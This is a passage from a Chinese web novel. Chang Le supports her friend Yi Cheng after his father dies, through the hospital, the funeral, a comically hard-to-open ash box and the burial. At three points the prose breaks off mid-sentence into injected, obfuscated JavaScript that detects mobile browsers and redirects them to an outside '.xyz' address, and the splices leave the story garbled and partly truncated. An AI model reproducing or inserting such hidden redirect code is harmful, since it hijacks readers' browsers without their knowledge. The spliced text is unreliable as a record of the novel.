常乐缓缓抬起头,神色呆滞,双眸失焦,仿佛遭了雷击。 她从喉咙里挤出一声“妈”,尾音拖着一丝哽咽,眼泪瞬间喷涌而出。 “出什么事了?”不祥的预感越来越重,林文娟大力摇晃着常乐的肩膀,急切地问:“你傻了?说话啊!是家里出事了吗?着火了?还是谁生病了?” 钟煜和前台小妹都看了过来,脸色也变得严肃。 “妈……”常乐抬起手,抹了一把眼泪,哭得一抽一抽的,“易诚说,他爸……” 林文娟明白了。 她长叹一口气,抓着常乐的手慢慢松开,移到她的肩上,轻轻拍了拍。 常乐低着头,啜泣着说:“易诚说,他爸凌晨发病,送到医院,没有抢救过来……” 林文娟轻抚着常乐的后背,语气沉重而无奈:“这种事,谁也没有办法……易诚现在还在医院吗?他一个人要处理的事太多,咱们去帮帮忙。” 常乐点点头,抬手抹掉脸上的泪,又从前台的纸盒里抽了几张纸,用力擤着鼻涕。 “节哀啊……”前台小妹讷讷地说。 常乐冲她点点头,又抽出几张纸,攥在手心。 钟煜看着她,脸色凝重,没有说话。 常乐和林文娟一前一后走出培训班,走向停在街边的车子。常乐坐上驾驶位,刚系好安全带,车窗外传来两声笃响。 钟煜站在车门旁,弯着腰,屈指在车窗上敲了敲。 常乐降下车窗,红着眼眶看着他,“钟老师,怎么了?” 钟煜说:“我送你们去吧。你这样开车不安全。” 常乐大脑反应有些迟钝,愣了半天,才明白他的意思。 她声音瓮瓮的:“行,麻烦你了。” 一路上,谁也没有说话,车厢里很安静,只能听见常乐擤鼻涕的声音。 钟煜将她们送到人民医院,便打车离开了。 常乐和林文娟急匆匆地赶到病房,易诚刚好从医生办公室出来,手上拿着一沓纸。 看到两人,他神色一僵,脚步变得迟缓。 “你们怎么来了?” 常乐一看到他,眼泪又不受控制地涌了出来,喉咙像被堵住了,不知该怎么开口。 林文娟还算冷静,问易诚:“手续都办好了吗?还有什么需要做的,我跟常乐都能帮忙。” 易诚低头看着手中的材料,声音低而缓:“医生已经开了死亡证明,也盖了手章,还需要去住院部盖个章,然后、然后……” “别慌,慢慢来。”林文娟拍拍他的肩。 易诚喃喃道:“然后联系殡仪馆,他们会派车来接爸爸,在这之前,还得给他换身衣服……” 他像是忽然反应过来,抬腿就要往外走,“我得先回趟家。” “我去吧。”常乐一把拽住他,急忙说,“要拿什么东西吗?你把钥匙给我,我去拿,你就在医院陪着易叔叔……” 常乐说着说着,声音又哽咽了。 易诚沉默许久,从口袋里掏出钥匙,递给她。 “我房间的衣柜里有个黑色行李袋,里面是我给爸爸准备的衣服和鞋。去殡仪馆之前,要给他换上。” “行。”常乐拿起钥匙,一路小跑冲进了电梯。 十几分钟后,常乐将车停在“小易轮滑培训班”门外,掏出钥匙进了屋,很快找到易诚说的行李袋。 她提着行李袋正要上车,从隔壁屋走出来一个腿脚不太方便的大妈,一瘸一拐地追着常乐,呼喊道:“哎,姑娘,你是不是要去医院?捎上我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15815559|171701||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,我也去。” 常乐回过头,恍惚记起易诚曾跟她提过,隔壁家有个王大妈,平时对父子俩很照顾,经常请他们到家里吃饭。 “王大妈?”常乐试探着询问。 “哎哎,是我,你就是常乐吧?我在小区见过你几次。”王大妈终于走到她面前,抬起头打量着她,“易诚跟我提过你。” 常乐拉开车门,“上车吧。” 一路上,王大妈连连叹气,说后半夜听到救护车的声音,她心里就七上八下的。早上去易诚家敲门,半天没人开,她就猜到易志刚又出事了。 “哎,可怜啊,终究没扛过去。”她低头抹着泪。 常乐的心头也翻涌着酸涩,仿佛浸在了眼泪里。 她们匆匆赶到病房,门口有两个年轻人在等候。他们穿着一身黑,戴着白手套,应该是殡仪馆的工作人员。 没过多久,林文娟办好了出院手续,给常乐打了个电话。 “易诚。”常乐轻敲病房的门,小声提醒他,“手续已经办好了。” 易诚打开门,走了出来,从常乐手中接过行李袋,轻声说:“谢谢了。” “孩子啊!”王大妈一把抱住他,呜咽着说,“你爸这一生辛苦了,他走了也算是解脱了,你要好好地活下去,不要让他担心,知道吗?” 易诚点点头,喉结滚动,什么都没说,任由王大妈的眼泪浸透自己的胸口。 等王大妈稍稍恢复平静,他松开了她,关上了病房的门。 病房里只剩下易诚和他的父亲。 他打开行李袋,从里面取出毛巾、衣物、鞋,整齐摆放在旁边的空病床上,又用塑料盆接了盆热水,将白毛巾浸泡在里面。 然后,他将父亲的衣物一件件脱下,叠好,放进行李袋里,再用温热的毛巾擦拭着他的脸庞、耳后、脖子,从上到下,不遗毫发。 接着,他给父亲换上干净的内衣,穿上裤子,扣好衬衫,系紧皮带。父亲的身体很僵硬,衣服和鞋子需要比平时大一码才能穿得进去。 最后,他伫立在病床边,静静凝望着父亲的脸庞。 直到门口传来敲门声,易诚才回过神来,小心翼翼地抱起遗体,放置在担架床上。 病房门开了,常乐看到一张担架床被推了出来,先是鞋子,然后是腿,接着是上半身,最后,她看到了易叔叔的脸。 他像是睡着了,神色平静,面容安详。 那一瞬,常乐恍惚觉得,死亡似乎没有那么可怕。它就像是一场长眠,无忧亦无惧,无想亦无梦。 所有的惧和梦,都留给了活着的人。 常乐开着车,载着林文娟和王大妈,跟在殡仪馆的车后面,去往青江市殡仪馆。 她们陪着易诚,办理遗体冷藏手续,确认了火化的时间,预定了一个小型告别厅。 在挑选丧葬用品时,常乐看到骨灰盒的价格,不禁咂舌。 最普通的也要五百,稍微好一点的就得上千。 易诚仰着头,视线在各种骨灰盒上一一扫过,似乎陷入了纠结。 常乐凑到他耳边,小声说:“你要是不嫌弃的话,我家还有三个闲置的骨灰盒——嗷!” 后脑勺飞来一记爆栗。 常乐捂着脑袋,忍痛回头,看到林文娟一脸怒容。 她压低声音,警告道:“这种时候别开玩笑!” “我没有……”常乐简直有苦难言。 她是看到易诚已经花了不少钱,想着能省一点是一点,才好心提出建议。 易诚收回视线,回忆片刻,问她:“我记得,你姥爷是不是还发过一个骨灰盒的视频?” “对对对。”常乐连连点头,“那三个骨灰盒还在我家里呢,质量还挺好的。我们一时也用不上,你要是不嫌弃的话……” 易诚嘴角弯起一个浅浅的弧度。 “不嫌弃。”他认真地说,“谢谢。” 常乐心里一块石头落地了,刚要开口,又听见易诚说:“对了,那个粉色的……不要。” 46. 46 常乐火急火燎地赶回家,一扇一扇地打开储物柜的门,在里面翻翻找找。 姥姥从厨房里走了出来,一边在围裙上擦手一边问:“怎么就你回了?你妈呢?” “在易诚家帮忙呢。”常乐整个脑袋都钻了进去,声音从柜子里传来,“姥,那几个骨灰盒呢?” 姥姥蹲在常乐身后,扯着她的胳膊往外扒拉,“这么说,易志刚的事是真的?我听老孙说,他半夜送去抢救,没救回来……” 常乐点点头,鼻头一酸,眼眶又红了。 姥姥叹了口气,眼窝里溢出了泪花,唏嘘道:“可怜啊,还不到六十就……唉!” 常乐又打开一扇柜门,终于找到那个黑檀木骨灰盒。 “姥,还有两个骨灰盒,你看到了吗?” “在这儿呢。”姥姥揉着眼睛起身,蹒跚着走进了厨房。 常乐也跟了进去,见她从下层的橱柜里端出一个白色瓮罐。常乐伸出双手去接,手腕陡然一抖,差点没接住。 “里面装了什么啊?这么沉?” 她把瓮罐放在餐桌上,打开圆形盖子,发现里面竟然装满了白色膏状物,中间还挖了个浅坑,坑里搁着一只白色瓷勺。 鼻子凑近,闻到一股浓郁而熟悉的香味。 “姥!你你你——”常乐简直不敢置信,舌头都打结了,“你居然用它装——猪油?” 姥姥一脸坦然:“啊,咋啦?前几天菜市场南门那家猪肉铺子猪板油做活动,我买了十斤,你瞅瞅这猪油炸得多好,雪白雪白的。” 常乐震惊地瞪大眼,嚷嚷道:“那你也不能用骨灰坛子装啊!” 姥姥振振有词道:“我瞅着这个坛子大小正好,而且耐高温,还带个盖子,简直是为这罐猪油量身定做的。反正咱家一时半会儿也用不上,干脆拿来物尽其用了呗。” 常乐:“……” 她深吸一口气,试图找回理智:“姥,你知道这坛子网上卖多少一个吗?两百八!你拿它装猪油,不觉得太奢侈了吗?” “我只是暂时用一下。又不一次性的东西,以后谁要用,洗干净了就好了嘛。” “……谁想要自己的骨灰染上一股子猪油味啊?这这这……多招老鼠啊!” 姥姥噎了一下,脸色讪讪的。 “你现在要用啊?要不我把猪油挖出来,给你洗洗?” 常乐抬起手制止她,深吸一口气,“免了。还有一个呢?” 姥姥冲卧室方向抬了抬下巴,“在我床头柜上。” 常乐:“……” 这老太太胆儿挺肥啊,把骨灰盒放床头,是能驱魔还是能辟邪啊? 她冲进姥姥的卧室,一眼就看到床头柜上摆放着一个粉色陶瓷方盒。打开盖子一看,里面塞满了针线、纽扣和各种碎布。 常乐深感无语的同时,也暗暗松了口气,庆幸这些东西没什么怪味儿,以后不会熏染到她的骨灰。 姥姥跟在她身后,抱怨道:“这罐子挺好看的,就是怪吓人的。我有次半夜起床,手不小心碰到了这个盖子,它忽然鬼叫起来了……”姥姥拍拍胸脯,似乎惊魂未定,“我当时没戴助听器,一开始没听清,倒是把你姥爷吓得够呛,以为我被鬼上身了呢……” 常乐气笑了:“什么鬼叫?那是在唱歌。” 姥姥回忆片刻,不太确定:“忘了是唱歌还是念经,什么狗叫啊、树叶啊、迷迷糊糊、急急忙忙的……”她搓了搓耳朵,“哎哟,鬼哭狼嚎的,可难听了。” “是这个声音吗?” 常乐端起陶瓷盒,转动盒盖上的水晶蝴蝶结,一道女声冷不防地响起:“你看小狗在叫,树叶会笑,风声在呢喃,不如好好欣赏一秒迷迷糊糊的浪漫……” “对对对。”姥姥急忙捂住助听器,“哎哟,一听到这声音,我就浑身发毛。” 常乐斜眼瞟着她。 “姥姥!这是我唱的!”她气得目露凶光,鼻孔直喘粗气,“你连我的声音都听不出来了?!” “啊?”姥姥大为震惊,“这是你唱的?” 常乐重重地点头,“这个骨灰盒有录音功能,可以录三十秒的声音,一转动蝴蝶结就能播放。当时给姥爷拍视频的时候,我为了演示这个功能,特地录了一段自己唱歌的声音。” 她又放了一遍,一边听一边嘟哝:“哪儿难听了?挺好听的啊!” “好听好听,怪我没品味。”姥姥敷衍地附和道,“你这金嗓子可得保护好了,以后不要轻易开口。别人唱歌要钱,你唱歌要命啊。” 常乐:“……” 她想起当时录这段音频的时候,姥爷好像有什么急事走开了,等她唱完了才慢悠悠地回来。她问他要不要听一遍,他连连摆手,说不必了,他对她百分百地信任。 常乐把粉色陶瓷盒放回床头柜上,回到餐厅,看到桌上那个孤零零的黑檀木骨灰盒。 只剩下它了。 从颜值上来看,它颜色沉稳,造型简洁大气,材质高级,品质上乘,放在殡仪馆至少要卖上千元。 只有一个缺点——打开它的难度不亚于做一百道奥数题。 姥姥说,她本来想用它装自己的各种证件和印章,结果试了一晚上,根本找不到入口。找姥爷帮忙,他笨手笨脚的,打不开不说,还差点把盒子摔了。 “设计的什么玩意儿?根本不是给人用的。”姥姥骂骂咧咧,最后只得把盒子放回原处。 常乐暗自庆幸,又用纸巾擦拭掉黑檀木上的手印和灰尘,然后将盒子装进帆布袋里。 “我给易诚拿过去。”她提起袋子就要走。 “哎哎,晚饭都做好了。”姥姥举着锅铲出来,叫住她,“我给易诚留一份,你先吃,吃完了再给他送过去。” 常乐兴致缺缺:“算了吧,我没胃口。” 鼻子底下飘来饭菜的香味,常乐脚步一顿,听到肚子不争气地响了。 “……做的什么菜啊?” “蒜香鸡翅、春笋炒腊肉、槐花煎蛋,还有清炒莴苣。” 常乐咽了咽口水,刚要回到餐桌,忽然想起什么,狐疑地皱起眉,问:“该不会是用那罐猪油做的吧?” “不然能这么香吗?”姥姥说得理所当然。 “那算了。”常乐下巴一扬,一脸正气凛然,“我不吃骨灰坛子里的猪油做的菜。” “爱吃不吃。”姥姥翻了个白眼,转身进了厨房,又大声喊道:“你进来,用保温桶装点菜,给易诚带过去。” 一分钟后,常乐就把持不住了,往嘴里塞了个鸡翅。 十分钟后,她怀着沉痛的心情,一个人干掉了半盘蒜香鸡翅。 沉痛的原因,一是因为自责。大家还沉浸在悲伤之中,她却先吃上了,还吃得那么香。 二是因为失望。这种时候,她还能吃得下饭,可以预见,这辈子她注定与瘦无缘了。 “不是说吃不下吗?”姥姥往她碗里夹了一筷子煎蛋,幽幽地说。 常乐一边吐鸡骨头一边说:“我哭了一天,哭饿了……这不能怪我,哭是很耗费体力的。” 不得不承认,猪油炒菜就是香啊。 吃饱喝足后,常乐一手提着保温桶,一手抱着骨灰盒,朝易诚家走去。 快到“小易轮滑培训班”的大门时,她与一个瘦高个擦肩而过。 虽然他上半张脸用鸭舌帽挡住,下半张脸用口罩遮住,双手抄在兜里,低头走路,没发出一丝声音,但常乐还是从他身上散发出的隐隐的馊味,一秒钟就猜到他的真身—— “王哥?”她回头喊住他,“你是来找易诚的?” 王哥脚步一顿,回头看向她,眼神透着一丝紧张。 他点点头,小声说:“我听我爸说他家里出事了,想过来看看……可是人太多了,我不敢进去……” “太多人了?”常乐觉得奇怪。除了林文娟和王大妈,还有谁在易诚家呢? “我在门口扫了一眼,有十几个人,估计都是过来帮忙的。”王哥压低声音,跟做贼一样,“等晚上我再过来吧。” 常乐举起保温桶,冲他晃了晃,“行,你先回去吧。” 王哥缩起脖子,鬼鬼祟祟地走了。 常乐推开培训班的门,果然,训练室的地板上围坐了一圈人,几个老人坐在矮凳上,剩下的靠墙站着。林文娟也站在墙角,前面坐着姥爷。每个人的脸色都很凝重。 易诚坐在人群中间,一个胸前别着徽章的短发大妈正跟他说着什么,另一个戴眼镜的年轻人正低头在本子上记录。 常乐蹑手蹑脚地走进去,挤到林文娟身边。 “妈,怎么这么多人?”她悄声问。 “都是街坊邻居,过来吊唁的。中间那两个,”林文娟视线转向那个短发大妈,“是社区的,过来慰问,顺便收集丧葬信息。” 常乐点点头,耐心地等了十几分钟,两只胳膊都拎酸了。等那两个工作人员离开后,几个老人又拉着易诚长吁短叹地抹眼泪,期间,易诚起身接了个电话,走进了卧室。 常乐赶紧跟过去,听到他对着电话那头说:“明天上午十点,在青江市殡仪馆,松鹤厅……我微信上发给您……行,您注意安全。” 易诚挂断电话,一转头,看见常乐,视线定了一瞬,又垂落下去。 “要联系的人有点多,我爸那边的亲戚、老同事、老同学,还有我妈那边的亲戚……”他低声解释,像是在喃喃自语,“事情太多了,明天就要办葬礼了,之后还得买墓地,刻墓碑、下葬……” 常乐开口打断他:“易诚,你还没吃饭吧?”她提起保温桶,放在一张小方桌上,“这是姥姥做的,赶紧趁热吃吧。” 易诚微微一怔,视线落在保温桶上,眼底隐约闪过一丝水光。 “先放这儿吧。”他哑声说,“等大家都回去了,我再吃。” 常乐沉默片刻,又将怀中的帆布袋放在保温桶旁。 “还有这个,我给你拿过来了。”她打开帆布袋,露出骨灰盒的一角,“你要检查一下吗?” 易诚摇摇头,“不用,谢谢了。” 常乐:“这个盒子不好打开,我给你演示一遍吧。” 易诚依旧摇头,“没事儿,我晚上自己研究一下。” 常乐张了张嘴,还想继续劝他,卧室门被推开了,翠姨和孙奶奶快步走了进来。 “孩子啊!”孙奶奶一开口便哭了,干枯的双手紧紧攥住易诚的手,“你爸这辈子过得太苦了,走了也算是一种解脱,你要想开一点啊!” 翠姨从包里掏出一个信封,递给易诚,轻声说:“易诚,节哀啊。” 常乐在一旁默默等了会儿,进来的人却越来越多,她只好从门边挤了出去。 看样子,今晚易诚会很忙,骨灰盒的事,只能等到明天再说了。 -- 第二天一早,由常建民开车,一家五口前去殡仪馆参加葬礼。 松鹤厅是个小型告别厅,面积跟一间中学教室差不多大。正前方挂着挽联,中间摆放着易叔叔的遗照,靠墙摆满了花圈。 易叔叔的遗体被安置在一樽水晶棺里,周围簇拥着黄白相间的菊花。 告别仪式庄严而肃穆,所有的流程都是在司仪的引导下完成的。 常乐的心,一半沉浸在哀伤中,另一半还在惦记着那个骨灰盒。 也不知昨晚易诚有没有抽空试着打开一下。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15827240|171701||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >最后一个环节,是瞻仰逝者遗容,并慰问亲友。常乐从右边缓缓绕过灵柩,垂眸看向易叔叔的脸。 也许是化了妆的缘故,他的脸看上去比平时更年轻、更显气色,也跟遗照中的他更像。 常乐恍惚想起那个夜晚,他坐在边三轮的挎斗里,脸上漾着笑容,眼里充满了期待。 他的背影,在夜色中慢慢消逝。 他的面容,也在眼泪中渐渐模糊。 易诚和几个亲戚都站在灵柩的左边。常乐绕到他面前,轻轻抱住了他。 他的身体很冷,手臂僵硬地抬起,也抱住了她。 他们像两棵纤瘦的小树,在风雨中沉默相拥。 按照流程,来宾在瞻仰完遗容后,要先离开大厅,留亲友做最后的告别。 大部分宾客都自行离开了,常建民也提议先回去,常乐站着没动。 “你们先回去吧。”她说,“我再等一会儿。” 常建民劝道:“待会儿就要火化了,只能亲友能进去,你待在这儿也没用。” 常乐犹豫片刻,仍有些担忧:“我不放心……爸,你们先回去吧,我待会儿自己打车回。” “你让她自己拿主意吧。”林文娟扯了扯常建民的衣袖,“咱们先回去。” 门外的人陆续走了,只剩常乐一个人,背靠着冰冷的墙壁,静静聆听门里传出的哭泣声。 她忽然想到一件事:这两天,好像没看到易诚哭过。 难道是他已经足够坚强,能够面对一切生离死别?还是他在强忍着悲痛,不敢流露出一丝一毫的脆弱? 不管是哪种,都不太正常。 常乐正琢磨着,大厅的门突然开了,易诚和几位亲戚走了出来。 他抬眼看到常乐,脸上闪过一丝诧异,但什么也没说。 “易诚,你是要去领骨灰吗?”常乐说,“我跟你一起去。” “没事儿,我自己去就行。”易诚平静地说。 常乐踮起脚尖,伏在他耳边,悄声说:“我怕你打不开骨灰盒。” 易诚看着她,一时默然,最终,点了点头。 一行人被司仪带到休息室,墙上的电子屏显示出逝者的姓名和火化的时间。 常乐和易诚在角落坐下,常乐从他怀里端走骨灰盒,放在椅子上,自己则蹲在地上,开始掰盒盖。 先移动右边的小长方形,然后将中间的正方形挪到右边,再撬开左边的小长方形…… 接下来是什么步骤来着? 常乐懊恼地捶了捶自己的脑袋。 这个死脑子,每次都卡在这儿。 “别急,慢慢来。”易诚温声安慰她,“火化要一个多小时呢。” “你等等啊,我看一眼视频。” 常了掏出手机,打开微信,想找到跟骨灰盒商家的聊天记录,这才想起来,那天她一怒之下把那个奸商给删了! 这下完蛋了。 去哪儿找教程呢?那家网店叫什么名字来着?网上不知道能不能搜到同款? 就在这时,易诚提醒了她:“你姥爷发的视频里,不是教过怎么打开吗?你进他抖音看看。” 常乐眼睛一亮,像是找到了救星,急忙打开抖音,点进姥爷的主页,很快找到那条给骨灰盒打广告的视频。 将进度条拉到最后,她看到自己的双手出现在屏幕中。 手指有点短,看上去像小孩的手,指甲也很久没做保养了…… 等等,她在想什么?赶紧干正事啊! 常乐又敲了敲脑袋,重新进入状态,跟着视频里自己的双手,一步一步挪动盒盖,先右边,再中间,再左边,然后把这个小方块掰上来…… 视频演示得太快了,她一个步骤没跟上,又陷入了混乱。 如此反复失败,反复重来,常乐已经急得满头大汗。 “哎呀呀呀呀——”她气得直叫唤。 世上怎么会有如此无厘头的设计? 这是什么益智类的玩具吗?她就放个骨灰,还得先做一套智力测试? 易诚始终沉默地看着她,不催促,也不责怪。 忽然,常乐听到一声“噗——” 她震惊地抬起头。 易诚居然笑了。 在这么紧张的时刻,这么严肃的场合,他居然笑了,还笑出了声。 他脑子还正常吗?不会是受到了重大刺激,突然癫狂了吧? “对不起……”易诚捂着嘴,笑得眼眸弯弯,上半身都在颤抖。 笑着笑着,眼泪渐渐从眼眶涌出,顺着脸颊淌落。 他抬起手,捂住眼睛,肩膀剧烈地颤抖起来。 “对不起……”易诚声音哽咽,“我实在没忍住,我不想哭的……” 常乐站起身,抡起胳膊,一巴掌拍在他的后背上,声音清脆响亮。 休息室里,其他人都震惊地望过来。 “忍什么忍?”常乐双手掐腰,大声呵斥易诚,“不准忍!给我哭!嗷嗷地哭!谁要是敢不让你哭,我就把他打哭骂哭!” 易诚呜咽了一声,啜泣声慢慢变大,他开始哭喊、恸哭,最后,竟成了声嘶力竭地嚎叫。 在他凄厉的哭声中,常乐终于打开了骨灰盒。 时间到了,工作人员示意可以进去领骨灰了。 易诚捧着骨灰盒,站起身,又回头看向常乐。 他的眼睛哭得又红又肿,只能眯起一条缝看她。 常乐微微仰着头,看到他这副水肿的模样,莫名想笑。 “常乐,你知道吗,你有一种神奇的能力。” 易诚嗓子沙哑,说话带着厚重的鼻音。 “你能让眼泪笑着流出来。” 47. 47 在工作人员的带领下,易诚独自进入了取灰室。常乐和几个亲戚都在门外等候着。 过了一会儿,门开了道小缝,工作人员的脑袋探了出来。 “请问,哪位是常乐?” 常乐一愣,指了指自己,“我……怎么了?” “麻烦您进来一下。” 在众人疑惑的目光中,常乐稀里糊涂地走进了取灰室。 易诚就站在门后,双手捧着骨灰盒,盖子敞开,常乐看到里面多了一个金色的绸布袋。 不等她发问,易诚主动解释道:“抱歉啊,我不知道怎么盖上……只能再麻烦你了。” 常乐想起来了,这个骨灰盒开盖和封盖的过程一样复杂。好在她已经有了丰富的经验,这次不用看视频,一挪二掀三卡扣,再重复操作几次,就顺利封好了骨灰盒。 常乐长舒一口气,略带歉意地说:“我也不知道这设计师是咋想的,设计得跟个藏宝箱一样。要是买个普通的骨灰盒,就没有这么多麻烦事了,真是抱歉。” 易诚将骨灰盒放在一块红布上,将它一层层包住,重新抱在怀中。 “你说得没错。”他垂眸注视着怀中的骨灰盒,“它就是个藏宝箱。” 顿了顿,他又补上一句:“我把最珍贵的宝贝藏在里面了。” -- 常乐回到家,总觉得心里空落落的。玩手机没心情,睡觉也睡不着,姥姥进来跟她聊天,她也没精打采地敷衍着。 “下葬的日期定了吗?”姥姥坐在床边问。 “易诚下午会去买墓地,确定下葬的时间。”常乐靠在床头,怀里抱着一只小奶狗,胡乱撸着它的屁股,“应该会定在易叔叔的头七吧。” 姥姥掐指一算,“那就是下周五。到时候我们都去吧,顺便看看你姥爷买的那两块墓地。” 常乐心口突然一疼,闷闷地,没吭声。 当初,听说姥爷买了墓地,她并没有想太多。看到姥爷试穿寿衣的视频,她也以为他是为了博流量、开辟新赛道。 她一直觉得,姥姥姥爷身体还算硬朗,再活过个十几二十年完全没问题,却从未想过,死亡是会随时降临的。 两位老人活了大半辈子,见惯了生死,一定比她更早意识到这一点。 姥姥见常乐闷不吭声,搡了搡她,“我晚上多做几个菜,你把易诚叫过来,跟我们一起吃。他现在孤零零的一个人,怪可怜的。” 常乐揉着小奶狗的肚子,怏怏地说:“算了吧,他肯定想一个人待着。” 姥姥固执地说:“你先叫,叫不过来再说嘛。” 常乐呼出一口气,仰面倒在床上,背对着姥姥,“晚上再说吧,我先睡会儿。” -- 直到暮色四合,常乐才提着保温桶,慢悠悠地朝易诚家走去。 易诚家里亮着光,她贴在门上听了一会儿,直到确认里面没有其他人的说话声,才敲了敲门。 门开了,易诚出现在门口。 他眼底渗出了红血丝,脸颊凹陷下去,才半天时间不见,仿佛消瘦了一大圈。 “就你一个人啊?”常乐探着脑袋,向训练室里张望,“你亲戚呢?” 易诚声音低哑:“都回去了,等下葬那天再过来。” “什么时候下葬?” “下周五。”易诚把门开得更大,“我正在收拾东西,家里有点乱,你自己找地方坐吧。” 常乐跟着他进屋,训练室的地板上一片狼藉,各种衣服、书籍、杂物四处散落。 她找了块空地坐下,把保温桶放在地上。 “还没吃吧?先吃饭再收拾吧。” 易诚在她对面坐下,随手捡起地上的一本书,翻了几页,低声说:“我没胃口,待会儿再吃吧。” 他端来一个大储物盒,将手上的书扔了进去。 “你在整理易叔叔的遗物吗?”常乐试探着问。 “嗯。”易诚又拿起一本书,“我想找几样东西,跟他的骨灰一起下葬。” 他站起身,走进了卧室,过了会儿,又抱着一个小储物盒回来了。 “目前只找到这些东西。”易诚从里面一样样取出,摆放在常乐面前。 一对朴素的银戒、一只老旧的机械表、一个摩托车模型,还有一本现代诗集。 常乐的目光立刻被那个红黑配色的摩托车模型吸引了。 “这也是你爸的?”她拿起模型,觉得挺新奇,“他还挺有童心的。” “他病了之后,我把他的摩托车卖了,他生了好久的气。后来,我给他买了这个模型,才把他哄好。” 易诚想起那天,父亲捧着模型左看右看,高兴得像小孩一样,眼底不禁浮起了笑意。 常乐放下摩托车模型,又拿起那本泛黄的诗集。 她记得易诚曾说过,易叔叔年轻的时候爱写诗,经常给出版社投稿,有几首诗还收录进了一本诗集中。 “这就是你爸写的书?” “这么说有点夸张了。”易诚从她手里拿走诗集,翻到中间,“只有这两首是他写的。” 头顶的白炽灯投射下明亮的灯光,常乐双手捧起诗集,字正腔圆地念道:“《伏笔》,作者:易志刚。 “你还未出现, 然而心碎, 早已埋下了伏笔。 故事的开始, 是你的名字。 故事的结尾, 是我的墓碑……” 这首诗很短,常乐念完,只觉得大脑一片空白。 她试着点评几句:“写得……挺美的,有种淡淡的忧伤。” 易诚坦诚道:“其实,我不太懂。” 常乐不好意思地说:“我也没读懂。” 易诚无奈地耸耸肩,“看来,咱们两个都没什么文艺细胞。” “哈哈,两个大粗人。”常乐拍着巴掌笑起来。 这时,又传来敲门声。常乐起身去开门,看到王哥就站在门口。 她有些意外。王哥今天穿着一件黑色大衣,头发柔顺地捋在耳后,连胡茬都刮干净了,看上去人模人样的。 “你洗头啦?”常乐惊喜地问。 王哥斜她一眼,“洗头而已,又不是整容,至于这么大惊小怪嘛?” 他身上的馊味也没了,他从常乐面前经过时,常乐甚至能闻到一股孜然的香味。 进屋后才发现,他手上提着一袋烤玉米。 “给,一人一串。”王哥把袋子递给易诚。 易诚露出惊诧的神色,“你怎么知道我喜欢吃这个?” “哈,上次吃烧烤,你说想吃烤玉米,我就猜到了是老街的那家。”王哥脱下大衣,随手扔到地上,盘腿一坐,“我上初中的时候也吃过几次,嘶,真香啊。” 他从袋子里取出一根烤玉米,大口大口啃了起来,边吃边说:“后来,我爸就不让我买了,说浪费时间。” 常乐不解地问:“吃东西也浪费时间?” “对,烤一根玉米要十二分钟,吃一根要五分钟。我爸说有这个时间,不如早点回家背背单词。” 常乐和易诚面面相觑,脸上都写满了无语。 袋子里最后一根烤玉米落到了常乐手里。她先舔了一口,鲜香微辣的味道顺着舌尖直达味蕾,再啃一大口,软糯的口感带着玉米的甜香,充盈着整个口腔。 “唔唔好吃好吃。”她连连点头,忍不住问易诚,“初中的时候,你还骑车送我上下学,怎么从没带我去吃这个呢?有好吃的,都自己藏着了吧?” 易诚投来一个哀怨的眼神,幽幽地说:“我哪儿敢啊?那阵子,你爸每天晚上都守在小区门口,我要是敢晚回家一分钟,他就要冲到学校找人了。” 王哥同情地看向常乐,“你回家也要背单词啊?” 常乐哈哈大笑起来。 “我爸怕我俩早恋。”她摇摇头,“真是想多了。” 易诚抿唇一笑,低头啃着玉米,没说话。 -- 周五这天,天气好得不像话。 常乐坐在车上,看着窗外湛蓝的天空,心想,老天爷真没眼力见儿。 这种时候,不刮点风下点雨就罢了,还整得春光明媚的,仿佛是欢天喜地送人下葬。 到了陵园,她更恍惚了,山上一派春意盎然、生机勃勃,石阶的尽头有棵樱花树开得正盛,映衬着蓝天白云,仿佛是动漫里的场景。 常乐忍不住掏出手机,“咔嚓”一张,拍完又觉得不妥:她是来送葬的,不是来春游的。能不能对逝者多一点尊重,对死 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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常乐捂着脑袋,嚷嚷道:“我这也是为了省钱嘛!五万一个坑,我才舍不得呢。” “瞧你那点出息。”姥姥嫌弃道,“等我死了,给你留五万块钱,行了吧?” 常乐瘪瘪嘴,“不行。你看,这周围的墓地都有主了,我要买,只能买到离你们很远的地方。到时候,你们在山这头团团圆圆,我一个人在山那头孤孤单单,你们忍心吗?” 这画面确实凄惨,姥姥抿了抿唇,有些于心不忍。 沿着石阶往下走时,常乐注意到,林文娟格外沉默,还不时抬起手,揉揉眼角。 她追上去,搂住林文娟的肩膀,才发现她的眼眶红红的。 “妈,你怎么了?” 林文娟吸了吸鼻子,叹了口气,说:“我只要一想到你会死,就受不了……” 她的声音渐渐哽咽。 姥姥回过头,挽着林文娟的胳膊,说:“别说乐乐了,我一想到你会死,我也受不了……” 她说着说着,也开始抹眼泪了。 常建民试图安慰她们:“乐乐还小,咱们正值壮年,两位老人也身强体壮的,没影儿的事,就别瞎担心了。” 姥爷“啧”了一声,不屑道:“早死晚死都得死,有什么可哭的?你们女人啊,就是多愁善感。” 姥姥瞪他一眼,“不是你身上掉下来的肉,你当然不心疼了。” 